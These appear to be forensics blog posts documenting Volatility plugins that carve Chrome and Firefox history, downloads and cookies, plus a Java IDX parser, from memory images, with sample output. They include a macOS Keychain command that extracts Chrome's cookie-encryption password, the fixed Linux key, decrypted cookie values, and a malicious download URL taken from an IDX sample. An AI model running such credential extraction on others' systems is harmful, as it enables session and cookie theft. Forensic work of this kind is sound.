     2 C:\Users\test\Downloads\npp.6.6.8.Installer.exe                                  C:\Users\test\Downloads\npp.6.6.8.Installer.exe                                  2014-08-31 13:13:32.123849      7920175      7920175     1      4         0 2014-08-31 13:19:06.350249      0                                                                                        "594509918"              Sun, 27 Jul 2014 22:42:03 GMT
     1                                                                                  C:\Users\test\Downloads\ubuntu-14.04.1-desktop-amd64.iso                         2014-08-30 19:56:11.491058     46641733   1028653056     4      0        20 1601-01-01 00:00:00             0 http://www.ubuntu.com/download/...ion=14.04.1&architecture=amd64                       "38d2064-3d...fdb504980" Tue, 22 Jul 2014 22:36:38 GMT
CSV Output
$ vol.py --plugins=plugins/ -f 2014contest/voltest.dmp chromedownloads --output=csv
Volatility Foundation Volatility Framework 2.4
"id","current_path","target_path","start_time","received_bytes","total_bytes","state","danger","interrupt","end_time","opened","referer","by_ext_id","by_ext_name","etag","last_modified","mime_type","original_mime_type"
"2","C:\Users\test\Downloads\npp.6.6.8.Installer.exe","C:\Users\test\Downloads\npp.6.6.8.Installer.exe","2014-08-31 13:13:32.123849","7920175","7920175","1","4","0","2014-08-31 13:19:06.350249","0","","","","""594509918""","Sun, 27 Jul 2014 22:42:03 GMT","",""
"1","","C:\Users\test\Downloads\ubuntu-14.04.1-desktop-amd64.iso","2014-08-30 19:56:11.491058","46641733","1028653056","4","0","20","1601-01-01 00:00:00","0","http://www.ubuntu.com/download/desktop/thank-you?country=US&version=14.04.1&architecture=amd64","","","""38d2064-3d500000-4fecfdb504980""","Tue, 22 Jul 2014 22:36:38 GMT","",""
Bodyfile Output
$ vol.py --plugins=plugins/ -f 2014contest/voltest.dmp chromedownloads --output=body
Volatility Foundation Volatility Framework 2.4
0|[CHROMEDOWNLOADS]  -> C:\Users\test\Downloads\npp.6.6.8.Installer.exe (7920175 bytes|0|---------------|0|0|0|1409491146|1409491146|1409491146|1409490812
0|[CHROMEDOWNLOADS] http://www.ubuntu.com/download/desktop/thank-you?country=US&version=14.04.1&architecture=amd64 -> C:\Users\test\Downloads\ubuntu-14.04.1-desktop-amd64.iso (1028653056 bytes|0|---------------|0|0|0|-11644473600|-11644473600|-11644473600|1409428571

Back to top

chromedownloadchains

The chromedownloadchains plugin extracts records from the Chrome downloads_url_chains table in the History SQLite database file. It supports –output=csv to print in CSV. There is no timestamp, so the bodyfile format is not supported. The full output from the sample image is copied below with the 2 records that are in the chrome_history database linked to above, showing the plugin was able to locate both of them. In this example, there is only one URL in each download chain; however, when there are redirects through multiple URLs, they will all show up and the “Chain ID/Chain Index” combination will be unique for each one.

$ vol.py --plugins=plugins/ -f voltest.dmp chromedownloadchains
Volatility Foundation Volatility Framework 2.4
Row ID Chain ID    Chain Index URL
------ ----------- ----------- ------------------------------------------------------------------------------------------------------------------------
     2           2           0 http://download.tuxfamily.org/notepadplus/6.6.8/npp.6.6.8.Installer.exe
     1           1           0 http://ubuntu-releases.cs.umn.edu/14.04.1/ubuntu-14.04.1-desktop-amd64.iso

Back to top

chromecookies

The chromecookies plugin extracts records from the Chrome cookies table in the Cookies SQLite database file. It supports –output=csv and –output=body to print in CSV and bodyfile format, respectively. A snippet of the the full output from the sample image is copied below since there are 100s of cookies even from just visiting a few sites. The chrome_cookies file linked above was taken from the machine the memory image was taken from and can be used for comparison, but it will find all the cookies in the SQLite database in the memory image. The output contains the host key, the cookie name, the path, and the value and encrypted value. Chrome started encrypting cookie values early in 2014. Older cookies will still show the unencrypted value though.

Currently, the plugin can decrypt cookies from a Mac or Linux system. The plugin supports the -K option to specify the password. This is only needed for Mac cookies. The password value can be obtained by running the following on the source Mac system to extract the password from Keychain.

security find-generic-password -w -s "Chrome Safe Storage

On Linux, the password has a fixed value of ‘peanuts’ and this is coded into the plugin. This post contains details on decrypting the cookie values and was used in writing this part of the plugin. This post has details on decrypting Windows cookies, but this is not supported in the plugin yet. The plugin also supports the -O option to specify the OS (mac, linux, windows), rather than relying on the profile. This is helpful if running the plugin directly against a Cookies SQLite file.

In addition, the output contains the creation time, last access time, and the expiration time of the cookies, which are all used in the body file output.

Cookies – Basic example
$ vol.py --plugins=plugins/ -f voltest.dmp chromecookies | more
Volatility Foundation Volatility Framework 2.4
Creation Time              Host Key                         Name             Value                                                                            Path                     Expires Time               Secure HttpOnly Last Access Time           Expires Persistent Priority   Encrypted Value
-------------------------- -------------------------------- ---------------- -------------------------------------------------------------------------------- ------------------------ -------------------------- ------ -------- -------------------------- ------- ---------- ---------- --------------------------------------------------------------------------------
2014-08-30 19:55:42.098058 www.cnn.com                      octowebstatid                                                                                     /                        2015-08-30 19:55:42             0        0 2014-08-30 19:55:42.098058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...332d8a688f51cb124c5b0817e6d59ab56696ab
2014-08-30 19:56:08.455058 .ubuntu.com                      __utma                                                                                            /                        2016-08-29 19:56:08             0        0 2014-08-30 19:56:08.455058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...bc7b27ed42f4e8654421f90ca261d0b823216d
2014-08-18 01:53:54.812617 .youtube.com                     VISITOR...1_LIVE                                                                                  /                        2015-04-18 13:46:54.812617      0        0 2014-08-18 01:53:54.812617       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...56ee53d9b5ec43a08e3ef526906e239a1be5d7
2014-08-18 01:53:54.893616 .google.com                      __utma                                                                                            /intl/en/chrome/browser/ 2016-08-17 01:53:54             0        0 2014-08-18 01:54:56.400529       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...dca0f3ff3125021c58eabd5a5c5aa1e39ff31a
2014-08-30 19:55:34.066058 .www.ugdturner.com               ug1                                                                                               /                        2019-08-29 19:55:34.066058      0        0 2014-08-30 19:55:34.066058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...770a74f1e311837ea538744ea7d181c4f1f2de
2014-08-30 19:55:34.067058 www.cnn.com                      ug                                                                                                /                        2015-08-30 19:55:34             0        0 2014-08-30 19:55:34.067058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...a27d86d1efe9652678fb31931f4f5e192bc96f
2014-08-30 19:55:34.067059 www.cnn.com                      ugs                                                                                               /                        2014-08-31 21:55:34             0        0 2014-08-30 19:55:34.067059       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...1b89901d7f7c1774f49cd9b47229e19043f883
2014-08-30 19:55:46.475058 www.cnn.com                      _chartbeat4                                                                                       /                        2014-08-30 20:55:46             0        0 2014-08-30 19:55:46.475058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...885d99442117495160258487a86d42df33973a
2014-08-30 19:55:39.137058 .doubleclick.net                 _drt_                                                                                             /                        2014-08-31 07:55:39.137058      0        1 2014-08-30 19:55:39.137058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...0fc907219965b89c8b1f1250f51af443dc2e05
2014-08-30 19:55:39.406058 .krxd.net                        ServedBy                                                                                          /                        2015-02-27 09:15:39.406058      0        0 2014-08-30 19:55:39.406058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...da32d1ec7ff79594caf486a5f45dd23d78c954
2014-08-30 19:55:39.406059 .krxd.net                        _kuid_                                                                                            /                        2015-02-26 19:55:39.406059      0        0 2014-08-30 19:55:39.406059       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...7c79dac49bed8bcc64b2d4c59cf082427263c8
2014-08-30 19:56:08.455059 .ubuntu.com                      __utmb                                                                                            /                        2014-08-30 20:26:08             0        0 2014-08-30 19:56:08.455059       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...4b6aaeec96ec8a1c3733ee8f4a3ffa124fcdf2
2014-08-30 19:55:36.159058 .cnn.com                         s_vi                                                                                              /                        2016-08-29 19:55:36.159058      0        0 2014-08-30 19:55:36.159058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...e051356b6a9a21ea3db611c21cccdc47ce9830
2014-08-30 19:55:36.797058 .outbrain.com                    _lvs2                                                                                             /                        2015-09-26 19:55:36             0        0 2014-08-30 19:55:36.797058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...9d0008d0566aadc64154f3b946207d1115148a
2014-08-30 19:55:36.915058 .rubiconproject.com              ruid                                                                                              /                        2014-11-28 19:55:36.915058      0        0 2014-08-30 19:55:36.915058       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...34ec6d9be5d8722099eac8e10c39190fbd5c7c
2014-08-18 01:55:10.572529 .tapad.com                       TapAd_TS                                                                                          /                        2014-10-17 01:55:09             0        0 2014-08-18 01:55:10.572529       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...fbb5944c4fb120fc1fdf2e3acbb5f8ab630c91
2014-08-18 01:55:10.565530 .bizographics.com                BizoData                                                                                          /                        2015-02-16 13:55:10.565530      0        0 2014-08-18 01:55:10.565530       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...ddb450d13d95198dd5ff18d05eb31d89e60705
2014-08-18 01:55:10.708529 .demdex.net                      DPM                                                                                               /                        2016-08-17 01:55:09             0        0 2014-08-18 01:55:10.708529       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...169b9472b70057cfc1f0845a12d94cf484b914
2014-08-18 01:55:10.678530 .acxiom-online.com               ACXID                                                                                             /                        2015-08-18 01:55:10.678530      0        0 2014-08-18 01:55:10.678530       1          1          1 01000000d08c9ddf0115d1118c7a00c04fc297e...ffd2e26b6112093ba13ef1cec3ab8c7d0788bf
Cookies – No Decryption

Sample execution against another memory image, without decrypting the cookies.

$ vol.py --profile=MacMavericks_10_9_4_AMDx64 -f mem.macho chromecookies
Volatility Foundation Volatility Framework 2.4
Creation Time              Host Key                         Name             Value                                                                            Path                     Expires Time               Secure HttpOnly Last Access Time           Expires Persistent Priority   Encrypted Value
-------------------------- -------------------------------- ---------------- -------------------------------------------------------------------------------- ------------------------ -------------------------- ------ -------- -------------------------- ------- ---------- ---------- --------------------------------------------------------------------------------
2014-09-04 21:36:14.605479 .sleuthkit.org                   _sm_au_c                                                                                          /                        Never Expires                   0        0 2014-09-04 21:36:14.605479       0          0          1 7631308406dafc56e672450c48985a03152bba6342cd223910827a8db5b6cbf6f5f6ae
2014-09-04 21:36:15.262039 .cs.uno.edu                      _sm_au_c                                                                                          /                        Never Expires                   0        0 2014-09-04 21:42:22.576744       0          0          1 763130460b6ba9333f9cc802ae02f2594b48f8fbc97d1413fa9a4a39b2d9d52561fdbe
2014-09-04 21:36:15.263101 .threat-analytics.com            _sm_au_c                                                                                          /                        Never Expires                   0        0 2014-09-06 20:50:33.270622       0          0          1 763130e10cac14e080087a30697432e03fd9e90058a8fca19477aa2abe29669433dece
2014-09-04 21:36:18.805114 .dfinews.com                     _sm_au_c                                                                                          /                        Never Expires                   0        0 2014-09-05 22:56:26.547288       0          0          1 76313069b9fc355151345fb7772978a63f0b7ee60db4254b786b2a87f0ddc70de2002e
Cookies – Decrypted
Supplying the decryption password on the same sample above successfully decrypts the cookie values. They all start with iMV in the output below.

$ vol.py --profile=MacMavericks_10_9_4_AMDx64 -f mem.macho chromecookies -K "rq2uadV+VvAD+IBiBeJ75a=="
Volatility Foundation Volatility Framework 2.4
Creation Time              Host Key                         Name             Value                                                                            Path                     Expires Time               Secure HttpOnly Last Access Time           Expires Persistent Priority   Encrypted Value
-------------------------- -------------------------------- ---------------- -------------------------------------------------------------------------------- ------------------------ -------------------------- ------ -------- -------------------------- ------- ---------- ---------- --------------------------------------------------------------------------------
2014-09-04 21:36:14.605479 .sleuthkit.org                   _sm_au_c         iMVarAHaqBbHSFFQ0e                                                               /                        Never Expires                   0        0 2014-09-04 21:36:14.605479       0          0          1 7631308406dafc56e672450c48985a03152bba6342cd623910827a8db5b6cbf6f5f6ae
2014-09-04 21:36:15.262039 .cs.uno.edu                      _sm_au_c         iMVarAaaqBBarF5a0b                                                               /                        Never Expires                   0        0 2014-09-04 21:42:22.576744       0          0          1 763130460b6ba9333f9cc802ae02f2594b48f8fbc97d141efa9a4a39b2d9d52561fdbe
2014-09-04 21:36:15.263101 .threat-analytics.com            _sm_au_c         iMVaraH2qBZdJFrQ15                                                               /                        Never Expires                   0        0 2014-09-06 20:50:33.270622       0          0          1 763130e10cac14e080087a30697432e03fd9e90058a8fca19877aa2abe29669433dece
2014-09-04 21:36:18.805114 .dfinews.com                     _sm_au_c         iMVaraH2qB0ZVF0Q0c                                                               /                        Never Expires                   0        0 2014-09-05 22:56:26.547288       0          0          1 76313069b9fc355151345fb7772978a63f0b7ee60db42a4b786b2a87f0ddc70de2002e

Back to top

by

Volatility Plugin – Firefox History

13 comments

Categories: Forensics, Volatility


As part of the 2014 Volatility Plugin Contest, I created 3 plugins for locating Firefox browser history related artifacts:

They are all in the firefoxhistory.py module found on my volatility-plugins repo on GitHub.  They also depend on the sqlite_help.py module in the same location, which provides some useful functions for manipulating data in SQLite databases.  Firefox and Chrome both store history and browsing data in SQLite databases.  Depending on the number and type of fields in each table, certain values can be expected in certain positions, which allows us to locate records of a given table.

A sample memory image is available at voltest.zip, and the corresponding places.sqlite and cookies.sqlite from that image are at ff_places and ff_cookies, respectively, for comparison with the plugin output.  The firefoxdownloads plugin only works on Firefox 25 and earlier because the downloads.sqlite file was removed.  I don’t have a memory image to provide but will show sample output from parsing a downloads.sqlite file below.  The download data was moved into another table (“moz_annos” in places.sqlite) that I haven’t worked on yet.  However, the download URLs are typically in the firefoxhistory output anyway. The plugin has been run against the SQLite databases in version 25 and memory samples of a system with version 31, so I’d expect it to work on at least those versions and the ones in between.

Like the core Volatility module iehistory, this module adds similar functionality for Firefox browsing history.  It can print output in the default table format or in CSV or bodyfile format.  This is useful for combining with other plugins to create a timeline.  According to W3Schools, Firefox and Chrome make up about 85% of the browser share as of July 2014, so this and my other plugin in the contest help round out Volatility’s browser coverage.

Usage and output for the plugins is below.

firefoxhistory

The firefoxhistory plugin extracts records from the Firefox moz_places table in the places.sqlite SQLite database file. It supports –output=csv and –output=body to print in CSV and bodyfile format, respectively. The full output from the sample image is copied below with all 31 records that are in the ff_places database linked to above, showing the plugin was able to locate them all. The output contains, among other fields, the URL, page title, number of visits, and the last visit date. The URL may occasionally be truncated, but the full URL can be displayed in CSV format. In addition, the last visit date timestamp is used in the bodyfile.

$ vol.py --plugins=plugins/ -f voltest.dmp firefoxhistory
Volatility Foundation Volatility Framework 2.4
ID     URL                                                                              Title                                                                            Rev Host                         Visits Hidden Typed Favicon ID Frecency Last Visit Date            GUID
------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------- ------ ------ ----- ---------- -------- -------------------------- ------------
    30 http://software-files-a.cnet.com/s/soft...07af0b2aceb5cb&fileName=ccsetup417.exe ccsetup417.exe                                                                   moc.tenc.a-selif-erawtfos.            0      0     0                   0 2014-08-30 19:54:49.614000 1XZQkyF56qMJ
    29 http://download.cnet.com/CCleaner/3001-18512_4-10315544.html?hlndr=1             Thank you for downloading CCleaner from CNET Download.com                        moc.tenc.daolnwod.                    1      0     0         12      100 2014-08-30 19:54:45.947000 N5LRyDii8toO
    28 http://dw.cbsi.com/redir?ttag=download_...d=QCK-xqYz5LPFaJ0ebFV5qadurILbAkCQMAXl                                                                                  moc.isbc.wd.                          1      1     0                 100 2014-08-30 19:54:44.917000 fEjtASxUAxh6
    27 http://download.cnet.com/CCleaner/?tag=main;pop                                  CCleaner - Free download and software reviews - CNET Download.com                moc.tenc.daolnwod.                    1      0     0         12      100 2014-08-30 19:54:37.085000 pq1ZfeEKGvqZ
    26 http://download.cnet.com/windows/                                                Windows PC software downloads and reviews from CNET Download.com                 moc.tenc.daolnwod.                    1      0     0         11       -1 2014-08-30 19:54:28.723000 tfBwGHW8rHmc
    25 http://download.cnet.com/windows                                                                                                                                  moc.tenc.daolnwod.                    1      1     0                  -1 2014-08-30 19:54:28.286000 CDgZxQeKrwO3
    24 http://download.cnet.com/                                                                                                                                         moc.tenc.daolnwod.                    1      1     0                  -1 2014-08-30 19:54:28.130000 AcV1_jX9bz5r
    23 http://www.download.com/                                                                                                                                          moc.daolnwod.www.                     1      1     0                2000 2014-08-30 19:54:27.849000 KpFmHKTN0a9u
    22 http://download.com/                                                                                                                                              moc.daolnwod.                         1      1     1                2000 2014-08-30 19:54:27.724000 V1HFFdxEPjun
    21 https://twitter.com/                                                             Twitter                                                                          moc.rettiwt.                          2      0     0         10     2100 2014-08-30 19:54:23.325000 oKw7WQ22cahd
    20 http://twitter.com/                                                                                                                                               moc.rettiwt.                          1      0     1                2000 2014-08-30 19:54:21.920000 DMtScqP31_Xu
    19 http://www.msnbc.com/                                                            msnbc: news, video and progressive community. Lean Forward.                      moc.cbnsm.www.                        1      0     0          9     2000 2014-08-18 01:54:53.773000 5Gx2iLj1SjJW
    18 http://msnbc.com/                                                                                                                                                 moc.cbnsm.                            1      1     1                2000 2014-08-18 01:54:53.681000 ta4jLp2lyGh4
    17 https://www.google.com/?gws_rd=ssl                                               Google                                                                           moc.elgoog.www.                       1      0     0          7       -1 2014-08-18 01:54:39.623000 _Utv1EjcJ6Hu
    16 http://www.google.com/                                                                                                                                            moc.elgoog.www.                       1      1     0                2000 2014-08-18 01:54:39.522000 or6Wi4BgJ4oo
    15 http://google.com/                                                                                                                                                moc.elgoog.                           1      1     1                2000 2014-08-18 01:54:39.455000 w27D_5ORtyhc
    14 https://dl.google.com/tag/s/appguid%3D%...ser/update2/installers/ChromeSetup.exe ChromeSetup.exe                                                                  moc.elgoog.ld.                        0      0     0                   0 2014-08-18 01:53:04.856000 n4Jx86eFfMwg
    13 https://www.google.com/intl/en/chrome/b...u.html?installdataindex=defaultbrowser Chrome Browser                                                                   moc.elgoog.www.                       1      0     0          8      100 2014-08-18 01:53:04.603000 o4vAZ5aKWWyb
    12 https://www.google.com/chrome/browser/                                           Chrome Browser                                                                   moc.elgoog.www.                       1      0     0          8      100 2014-08-18 01:52:46.891000 3-zVrw5J9YQk
    10 https://www.google.com/search?q=chrome&...S:official&client=firefox-a&channel=sb chrome - Google Search                                                           moc.elgoog.www.                       1      0     0          7      100 2014-08-18 01:52:40.683000 fcu6-CJQ0C-5
     9 https://www.mozilla.org/en-US/firefox/31.0/firstrun/                             Welcome to Firefox                                                               gro.allizom.www.                      1      0     0          6      100 2014-08-18 01:52:31.981000 CFINbfipczLN
     3 https://www.mozilla.org/en-US/firefox/customize/                                                                                                                  gro.allizom.www.                      0      0     0          2      140                            3hOL_TOgRnCn
     8 place:type=6&sort=14&maxResults=10                                                                                                                                                                      0      1     0                   0                            3lY95yoWx2XB
     7 place:folder=BOOKMARKS_MENU&folder=UNFI...sort=12&maxResults=10&excludeQueries=1                                                                                                                        0      1     0                   0                            mdM4Mp9kd8g3
     1 https://www.mozilla.org/en-US/firefox/central/                                                                                                                    gro.allizom.www.                      0      0     0                 140                            kYVGjmJ-047k
    11 https://www.google.com/chrome/                                                                                                                                    moc.elgoog.www.                       1      1     0                 100 2014-08-18 01:52:46.769000 zLswYKJFEaUD
     5 https://www.mozilla.org/en-US/about/                                                                                                                              gro.allizom.www.                      0      0     0          4      140                            dOQyh56nW4RJ
     4 https://www.mozilla.org/en-US/contribute/                                                                                                                         gro.allizom.www.                      0      0     0          3      140                            yEpWj7pAkHw3
     2 https://www.mozilla.org/en-US/firefox/help/                                                                                                                       gro.allizom.www.                      0      0     0                 140                            06n0M4Af3U2S
     6 place:sort=8&maxResults=10                                                                                                                                                                              0      1     0                   0                            zm8cJXPL3Nt1
    31 http://download.cnet.com/CCleaner/3055-18512_4-10315544.html?tag=pdl-redir       Free Software Downloads and Sof                                     1      0     0          0        0 0
    31 http://download.cnet.com/CCleaner/3055-18512_4-10315544.html?tag=pdl-redir       Free Software Downloads and Software Reviews - CNET Download.com                 moc.tenc.daolnwod.                    1      0     0         12      100 2014-08-30 19:56:46.244000 4oOcy_AZUX9v
     2 https://www.mozilla.org/en-US/firefox/help/                                                                                                                       grUqtqU�⥥Υ3K                      0      0     0                6039                            �-�U:�lNٌ

    31 http://download.cnet.com/CCleaner/3055-1                                                                                                            1      0     0                   0 0

Back to top

firefoxcookies

The firefoxcookies plugin extracts records from the Firefox moz_cookies table in the cookies.sqlite SQLite database file. It supports –output=csv and –output=body to print in CSV and bodyfile format, respectively. Just a snippet of the output is pasted below because, while the limited browsing in the test image created only 31 history entries, there are hundreds of cookies. The output contains, among other fields, the domain, cookie name, path, and cookie value, though the value is often truncated in table format. It’s fully displayed in the CSV format. In addition, there are three timestamps for the creation time, last accessed time, and expiration time. These are all printed, and also included in the bodyfile for timeline generation.

$ vol.py --plugins=plugins/ -f 2014contest/voltest.dmp firefoxcookies | more
Volatility Foundation Volatility Framework 2.4
Row ID Base Domain                  App Id InBrowserElement Name                     Value                            Host                             Path                             Expiry               Last Accessed              Creation Time              Secure HttpOnly
------ ---------------------------- ------ ---------------- ------------------------ -------------------------------- -------------------------------- -------------------------------- -------------------- -------------------------- -------------------------- ------ --------
     9                                                    3                                                                                                                             1970-01-01 00:00:00  1970-01-01 00:00:00        1996-11-11 19:32:25.943048      0        0
   309 pubmatic.com                      0                0 KRTBCOOKIE_22            488-pcv:1|uid:6...35249447496254 .pubmatic.com                    /                                2017-08-29 19:54:40  2014-08-30 19:56:48.361000 2014-08-30 19:54:40.689000      0        0
   307 pubmatic.com                      0                0 KADUSERCOOKIE            892465A3-2C7F-4...7-A796CBE943D6 .pubmatic.com                    /                                2015-08-30 19:54:40  2014-08-30 19:56:48.361000 2014-08-30 19:54:40.565000      0        0
   446 turn.com                          0                0 uid                      6925335249447496254              .turn.com                        /                                2015-02-26 19:54:51  2014-08-30 19:54:51.564000 2014-08-30 19:54:40.549000      0        0
   305 mathtag.com                       0                0 uuid                     a1995402-2bff-4...d-e79b6350092f .mathtag.com                     /                                2015-08-30 19:54:40  2014-08-30 19:54:40.533000 2014-08-30 19:54:40.533000      0        0
   303 pubmatic.com                      0                0 KRTBCOOKIE_80            4031-CAESEKPqsq...vWPTGmwJGWwWo0 .pubmatic.com                    /                                2014-11-28 19:54:40  2014-08-30 19:56:48.361000 2014-08-30 19:54:40.440002      0        0
   301 pubmatic.com                      0                0 KRTBCOOKIE_57            476-uid:8258907743645875089      .pubmatic.com                    /                                2017-08-29 19:54:40  2014-08-30 19:56:48.361000 2014-08-30 19:54:40.440000      0        0
   300 yimg.com                          0                0 fpc                      1000958395862%3...7%7C8TY7TsoTH7 s.yimg.com                       /                                2015-08-30 19:54:40  2014-08-30 19:56:46.909000 2014-08-30 19:54:40.409001      0        0
   478 adnxs.com                         0                0 uuid2                    8258907743645875089              .adnxs.com                       /                                2014-11-28 19:56:48  2014-08-30 19:56:48.684000 2014-08-18 01:54:59.048000      0        1
   294 pubmatic.com                      0                0 SyncRTB                  2_1410033280.3_....74_1410638080 .ads.pubmatic.com                /                                2015-06-26 19:54:39  2014-08-30 19:54:39.987000 2014-08-30 19:54:39.987000      0        0
   464 cnet.com                          0                0 WRUID                    0                                download.cnet.com                /                                2015-08-30 19:56:47  2014-08-31 13:18:29.617000 2014-08-30 19:54:38.037002      0        0
   292 pubmatic.com                      0                0 KTPCACOOKIE              YES                              .pubmatic.com                    /                                2015-06-26 19:54:39  2014-08-30 19:56:48.361000 2014-08-30 19:54:39.925000      0        0
   291 yimg.com                          0                0 ywandp                   1000958395862%3A1432287649       s.yimg.com                       /                                2024-08-27 19:54:39  2014-08-30 19:56:46.909000 2014-08-30 19:54:39.488000      0        0
   273 cnet.com                          0                0 bwp2                     53d5c62aff9dff4...42286428349,v1 .download.cnet.com               /                                2015-09-15 15:00:01  2014-08-31 13:18:29.617000 2014-08-30 19:54:38.162000      0        0
   272 cnet.com                          0                0 _udl_sessionId           en8N9q16psTV                     download.cnet.com                /CCleaner/                       2014-08-30 20:24:38  2014-08-30 19:57:46.012000 2014-08-30 19:54:38.068000      0        0
   398 chango.com                        0                0 _vt                      0                                .chango.com                      /                                2014-09-29 19:54:50  2014-08-30 19:54:50.846000 2014-08-30 19:54:50.846001      0        0
   463 cnet.com                          0                0 __CT_Data                gpv=3&apv_11583_www08=3          download.cnet.com                /                                2015-08-30 19:56:47  2014-08-31 13:18:29.617000 2014-08-30 19:54:38.037000      0        0
   268 cnet.com                          0                0 LDCLGFbrowser            6003425c-6a57-4...b-f9c896e81eee download.cnet.com                /                                2024-08-27 19:54:37  2014-08-31 13:18:29.617000 2014-08-30 19:54:37.585000      0        0
   257 everesttech.net                   0                0 ev_t                     3-VAIr@gAABc1hxA14               .everesttech.net                 /                                2014-09-29 19:54:35  2014-08-30 19:56:48.118000 2014-08-30 19:54:35.478001      0        0
   256 everesttech.net                   0                0 gglck                    CAESEIFDIEoc5OXo637KcYakDk8      .everesttech.net                 /                                2014-09-29 19:54:35  2014-08-30 19:56:48.118000 2014-08-30 19:54:35.478000      0        0

Back to top

firefoxdownloads

The firefoxdownloads plugin extracts records from the Firefox moz_downloads table in the downloads.sqlite SQLite database file. The downloads.sqlite file was removed in Firefox 26. This data was moved into the moz_annos table in places.sqlite. A quick look at this table looks like it should be locatable; however, I haven’t worked on it yet. The test image that was provided has Firefox 31 installed so this plugin will not locate download records. However, I did have an old downloads.sqlite file that I built the plugin off of and it extracts all the records from the actual database file, so it should work on a memory image with the applicable version installed. The output below is an excerpt from running the plugin against that database file.

It supports –output=csv and –output=body to print in CSV and bodyfile format, respectively. The output contains, among other fields, the filename, source URL, target path being saved to, and bytes downloaded. In addition, there are timestamps for the start and end times of the download. These are both printed, and also included in the bodyfile for timeline generation.

$ vol.py --plugins=plugins/ -f downloads.sqlite firefoxdownloads
Volatility Foundation Volatility Framework 2.4
Row Id Name                             Source                                                                           Target                                                       Temp Path                        Start Time                 End Time                   State Referrer                                                     Entity ID Current Bytes Max Bytes    MIME Type            Prefer App       Prefer Action Auto Resume
------ -------------------------------- -------------------------------------------------------------------------------- ------------------------------------------------------------ -------------------------------- -------------------------- -------------------------- ----- ------------------------------------------------------------ --------- ------------- ------------ -------------------- ---------------- ------------- -----------
     2 Wireshark-win64-1.12.0(1).exe    http://wiresharkdownloads.riverbed.com/...shark/win64/Wireshark-win64-1.12.0.exe file:///Users/dave/Downloads/Wireshark-win64-1.12.0(1).exe                                    2014-08-06 19:06:40.462456 2014-08-06 19:07:39.180254     1 https://..._=iMVZ42DWnZQPvsWG&flshenb=1                35531552     35531552 applicati...-program                              0           0
     1 Wireshark-win64-1.12.0.exe       https://2.na.dl.wireshark.org/win64/Wireshark-win64-1.12.0.exe                   file:///Users/dave/Downloads/Wireshark-win64-1.12.0.exe                                       2014-08-06 03:15:57.461410 2014-08-06 03:16:50.061426     1 https://www.wireshark.org/download.html                35531552     35531552 applicati...-program                              0           0

Back to top

by

Volatility Plugin – SQLite Helper

No comments yet

Categories: Forensics, Volatility

This is a module used by both the chromehistory and firefoxhistory groups of plugins I wrote for the 2014 Volatility Plugin Contest. It provides a number of functions for locating and converting data found in SQLite databases. The functions provided are described below.

The following links are very helpful for understanding the structure of SQLite databases:

The section on the Variable Length Integer Format in the first link above is especially relevant for many of the functions below. SQLite database store integers in a variable integer format which is anywhere from 1 to 9 bytes. This allows small integer values to only use 1 or 2 bytes. It also means all negative numbers are 9 bytes.

unix_time(dt)

Converts a Python datetime object to a Unix epoch based timestamp.

get_wintime_from_msec(msec)

Takes as input the number of microseconds since 1601/01/01 and outputs a Python datetime object.

get_nixtime_from_sec(sec)

Takes as input the number of seconds since 1970/01/01 and outputs a Python datetime object.

get_nixtime_from_msec(msec)

Takes as input the number of microseconds since 1970/01/01 and outputs a Python datetime object.

varint_type_to_length(varint)

The lengths in the header section for integers aren’t actual lengths, but map to different values, as described in the Database Record Format in the first link above. This function maps these values to the actual lengths of the data fields.

ones_comp(bin_str)

Takes a binary number represented as a string of 0s and 1s, and returns the one’s complement in string format. This is used varints that hold a negative number.

find_varint(buff, start, direct)

This function locates the next variable length integer, in either a forward or backward direction as specified in the buffer buff from the starting index start. The last byte in a varint will be less than 128 and can be used to determine where a varint ends when moving forwards or where the previous varint ends when going backwards.

varint_to_int(buff)

Converts a varint to an integer value.

varint_to_blob_length(l)

Converts the header length field to the actual data length which is (length-12)/2

varint_to_text_length(l)

Converts the header length field to the actual data length which is (length-13)/2

sql_unpack(buff)

Converts a 1, 2, 3, 4, 6, or 8 byte value into an integer. Integers are stored in the data portion of the SQLite record, while varints are used in the header portion.

by

Volatility Plugin – Java IDX Parser

1 comment

Categories: Forensics, Volatility

As part of the 2014 Volatility Plugin Contest, I created a plugin called idxparser, based off of Brian Baskin’s Java IDX Parser script. A sample IDX file is available at sample.idx and a sample memory image is available at voltest.zip. The plugin can be found on my volatility-plugins repo on GitHub.

I typically see a lot of drive by Java exploits and can usually trace where the malicious JAR file came from through a Java .idx file that was left behind. Often, these files are small enough that they are MFT-resident. Since this plugin works on a physical address space, you can actually pass an IDX file itself, an extracted MFT file, or a full memory dump to Volatility and have it extract any IDX files it finds.  It’s a useful plugin for quickly finding any IDX files in a memory image of a system that may have been compromised by a Java exploit.

Section 4 of the IDX file has sections identified by different opcodes. Brian Baskin’s original code limits the number of unknown opcodes printed to 5 before exiting. This plugin will print all the data in section 4 by default. The -U (for UNKNOWN) option will limit the plugin to only printing 5.

Below are samples of running it against an IDX file from a malicious JAR and a memory dump containing some IDX files associated with a Java game.

IDX File

$ vol.py --plugins=../plugins/ -f sample.idx idxparser
Volatility Foundation Volatility Framework 2.4
--------------------------------------------------------------------------------

[*] Section 1 (Metadata) found:
Content length: 7162
Last modified date: Thu, 26 Jul 2001 05:00:00 GMT (epoch: 996123600)
Section 2 length: 365
Section 3 length: 167
Section 4 length: 15

[*] Section 2 (Download History) found:
URL: http://83d2c156f3.gshjsawsf.su:82/forum/dare.php?hsh=6&key=b34a24eac5c7b57265d5b3d3f0abd2ab
